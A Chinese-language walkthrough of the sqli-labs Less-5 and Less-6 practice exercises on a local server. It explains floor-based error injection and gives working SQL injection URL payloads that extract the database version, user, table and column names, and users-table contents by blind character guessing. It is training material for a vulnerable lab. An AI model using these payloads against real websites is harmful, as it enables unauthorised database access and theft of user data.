Less-5
首先我们观察下源码
观察源码可以看出,如果返回的结果正确就只能返回you are in…,不能得到我们要的数据,所以采用报错注入,这里我们采用floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符、
解释:
一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的
重复,三是 group by 进行分组,分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行
接下来我们开始爆数据库版本
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat(";",(select version()), ";",floor(rand()*2)) as a from information_schema.tables group by a;--+
爆数据库
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat(";",(select database()), ";",floor(rand()*2)) as a from information_schema.tables group by a;--+
爆用户名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat(";",(select user()), ";",floor(rand()*2)) as a from information_schema.tables group by a;--+
爆数据表
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
我们通过二分法,去猜出第一个数据表的第一个字符,如何获得第一个表的第二个字符呢。只需要把limit0,1),1,1改成limit0,1),2,1
如何猜出第二个数据表的第一个字符
只需要把limit0,1),1,1改成limit1,1),1,1其余操作与上面类似
爆users表里的列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
继续上面的操作,但是需要该一个地方 ‘^us[a-z]’ ->‘us[a-z]’…'username[a-z]’
可以猜出username里有username,同理可以猜出password
爆users的内容
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ORD(MID((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
重复下面方法,我们可以猜出username里的第一行数据,第二行数据。。。
Less-6
查看源码
故Less-6只需在Less-5的基础上修改一点即可,即==?d=1’改成?d=1“==,其他都一样
大家也可以参考下这篇博客https://blog.csdn.net/u012763794/article/details/51207833